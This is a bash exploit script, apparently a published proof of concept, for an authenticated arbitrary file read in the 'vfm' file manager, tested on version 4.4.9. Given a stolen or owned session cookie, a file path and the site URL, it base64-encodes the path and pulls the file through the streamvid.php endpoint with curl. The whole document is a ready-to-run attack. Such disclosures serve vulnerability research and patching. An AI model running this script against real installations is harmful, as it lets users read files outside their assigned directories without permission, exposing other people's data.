#!/usr/bin/env bash

##########################################################
####### AUTHENTICATED ARBITRARY UPLOADED FILE READ #######
##########################################################

################# TESTED ON VERSION 4.4.9 ################

# This exploit lets a user of the application with an
# assigned directory to read files outside its directory
# as long as the name it is known.

# - Parameter $1 is vfm session cookie name
# - Parameter $2 is vfm session cookie value
# - Parameter $3 is the path to the file from the root of
#   the uploads directory
# - Parameter $4 is Url to the root of where the installation
#   of vfm is (a.k.a. the root of the application)

if [[ -z "$1" ]] || [[ -z "$2" ]] || [[ -z "$3" ]] || [[ -z "$4" ]]; then
  echo "[ USAGE ] :: ./auth-arbitrary-uploaded-file-read.sh <vfm cookie name> <vfm cookie value> <path/to/file> <url to root of vfm installation>/"
  exit 1
fi

echo "[ STEP :: 01 ] :: Pull file"
curl -X GET \
  --output 'here.mp4' \
  -b "$1=$2" \
  "$4/vfm-admin/ajax/streamvid.php?vid=$(echo -n "$3" | base64)"
echo "[ STEP :: 01 ] :: DONE"